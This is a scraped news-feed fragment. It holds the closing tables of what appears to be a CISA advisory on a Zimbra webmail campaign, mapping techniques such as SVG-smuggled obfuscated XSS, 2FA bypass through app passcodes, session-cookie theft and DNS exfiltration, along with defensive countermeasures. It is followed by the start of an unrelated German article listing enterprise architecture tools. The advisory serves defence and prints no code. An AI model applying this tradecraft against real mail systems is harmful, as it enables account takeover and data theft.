<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[18 Enterprise-Architecture-Tools]]></title>
<description><![CDATA[Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. 
					Foto: I Believe I Can Fly – shutterstock.com




Enterprise Architecture (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftszie...]]></description>
<link>https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. " title="Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. " src="https://images.computerwoche.de/bdb/3284195/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. </p></figcaption></figure><p class="imageCredit">
					Foto: I Believe I Can Fly – shutterstock.com</p></div>




<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/2789207/eam-gibt-orientierung-in-der-digitalen-transformation.html" title="Enterprise Architecture" target="_blank">Enterprise Architecture</a> (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftsziele optimal zu unterstützen. Sie sorgen ebenfalls dafür, dass Unternehmen ihre Roadmaps für die <a href="https://www.computerwoche.de/article/2794425/wie-digitale-transformation-richtig-geht.html" title="digitale Transformation" target="_blank">digitale Transformation</a> geordnet vorantreiben können. EA Tools bieten dafür unter anderem Collaboration-, Reporting-, Testing- und Simulationsfunktionen. Mit deren Hilfe lassen sich Modelle implementieren, die Geschäfts- und IT-Prozesse gezielt verbessern.</p>



<p class="wp-block-paragraph">Um die beste Lösung für Ihr Unternehmen zu finden, sollten Sie zuerst prüfen, ob sich das jeweilige Tool mit Ihrem Technologie-Stack integrieren lässt. Anschließend gilt es abzuwägen, ob die Informationen, Diagramme und Tabellen, die die Software zur Verfügung stellt, für das Unternehmen auch einen echten Nutzwert haben.</p>



<h2 class="wp-block-heading">Empfehlenswerte Enterprise-Architecture-Tools</h2>



<p class="wp-block-paragraph">Nachfolgend finden Sie einen Überblick über die wichtigsten Enterprise-Architecture-Tools – in alphabetischer Reihenfolge. Sie stellen einen Mix aus Visualisierungs-, Collaboration- und Project-Management-Funktionen bereit und unterstützen eine Vielzahl von Enterprise Architecture Frameworks.</p>



<p class="wp-block-paragraph"><strong><a href="https://www.ardoq.com/" title="Ardoq" target="_blank" rel="noopener">Ardoq</a></strong></p>



<p class="wp-block-paragraph">Nachdem zuerst über einfache Formulare Informationen von Usern, Entwicklern und sonstigen Stakeholdern im Unternehmen eingesammelt wurden, lässt sich mithilfe von Ardoq ein digitaler Zwilling der gesamten Organisation erstellen. Der Ansatz setzt also darauf, die Menschen, die in ihren Rollen mit den verschiedensten Systemen arbeiten, realistisch in ihrer Arbeitswelt abzubilden.</p>



<p class="wp-block-paragraph">Jede Mitarbeiterin und jeder Mitarbeiter im Unternehmen kann später von den Netzwerkvisualisierungen und Datenfluss-Diagrammen profitieren, um seine eigene Rolle optimal zu unterstützen und den Arbeitsplatz immer wieder anzupassen und zu modernisieren. Das Tool lässt sich mit den wichtigsten Cloud-Plattformen integrieren. Es bietet eine API, die individuelle Anpassungen in allen wichtigen Programmiersprachen (Python, C#, Java, etc.) ermöglicht.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>“Architektonischen Stress” bei Lastspitzen simulieren, falls größere Veränderungen bevorstehen;</p></li>



<li><p>Verstehen, wie verändertes Nutzerverhalten neue Anforderungen generiert;</p></li>



<li><p>Application Portfolio Management, um besser strategisch zu planen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://atollgroup.eu/samu-enterprise-architecture-tool/" title="Atoll Group SAMU" target="_blank" rel="noopener">Atoll Group SAMU</a></strong></p>



<p class="wp-block-paragraph">Das EA-Tool SAMU macht die Enterprise Architecture sichtbar, indem es tiefe Verknüpfungen zwischen On-Premises-Systemen, dem Cloud-Layer und Tools für das Business Process Management aufzeigt. Das Tool der Atoll Group bietet vielfältige Integrationsmöglichkeiten, zum Beispiel mit Monitoring-Tools (etwa Tivoli, ServiceNow), Configuration-Management-Datenbanken (zum Beispiel CA, BMC) oder Service-Organisations-Tools (BMC, HPE). Alle Informationen fließen in ein zentrales Datenmodell ein, das um den zusätzlichen Input der Stakeholder weiter angereichert wird.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Enterprise-Architektur visualisieren;</p></li>



<li><p>strategische Planungsprozesse und Architektur-Reviews mit Informationen unterfüttern;</p></li>



<li><p>mithilfe einer visuellen Verständnisgrundlage die Kommunikation verbessern.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.avolutionsoftware.com/enterprise-architecture/" title="Avolution Abacus" target="_blank" rel="noopener">Avolution Abacus</a></strong></p>



<p class="wp-block-paragraph">Dieses Tool erfasst die Breite und den Umfang der Unternehmensarchitektur mit Hilfe eines auf Diagrammen basierenden Dashboards. Die Integration mit gängigen Tools wie SharePoint, <a href="https://www.computerwoche.de/k/excel,3461" target="_blank" class="idgGlossaryLink">Excel</a>, Visio, Google Sheets, Technopedia oder ServiceNow vereinfacht die Nutzung. Abacus wurde inzwischen auch um einen Machine-Learning-Layer ergänzt, der es Anwendern ermöglicht, ein Modell zu trainieren, das ihnen beispielsweise hilft zu erkennen, wer im Unternehmen für welches System verantwortlich ist.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>die IT für das gesamte Unternehmen “öffnen”, um ein allgemeines Verständnis der Datenflüsse zu erzeugen;</p></li>



<li><p>umfassendes Enterprise Modeling, um eine Roadmap für künftige Entwicklungen zu erstellen;</p></li>



<li><p>Business-Metriken tracken, die mit der Unternehmens-Performance zusammenhängen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.boc-group.com/de/adoit/" title="BOC Group ADOIT" target="_blank" rel="noopener">BOC Group ADOIT</a></strong></p>



<p class="wp-block-paragraph">ADOIT soll Teams dabei unterstützen, Ressourcen zu verwalten, Bedarfe vorherzusagen und Assets zu tracken. Dazu mappt das Tool jedes System oder Softwarepaket mit einem Objekt. Die Datenflüsse zwischen den Systemen werden in Beziehungen umgewandelt, die von diesen Objekten mithilfe eines anpassbaren Metamodells erfasst werden. Geschäftsprozesse können auf ähnliche Weise über ein gut integriertes Begleitprodukt namens ADONIS modelliert werden. ADOIT ist Web-basiert und lässt sich auch mit Tools wie Atlassian Confluence integrieren, um die Datenerfassung und -entwicklung zu beschleunigen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>ein unternehmensweites Modell erstellen, das bei sämtlichen Teammitgliedern ein Verständnis über den Stack schafft – und wie man diesen verbessern kann;</p></li>



<li><p>vollständiger Zugriff auf EA-Daten über eine Mobile-Anwendung;</p></li>



<li><p>bei Fusionen und Übernahmen den Tech-Bereich durch genaues Asset-Mapping orchestrieren.</p></li>
</ul>



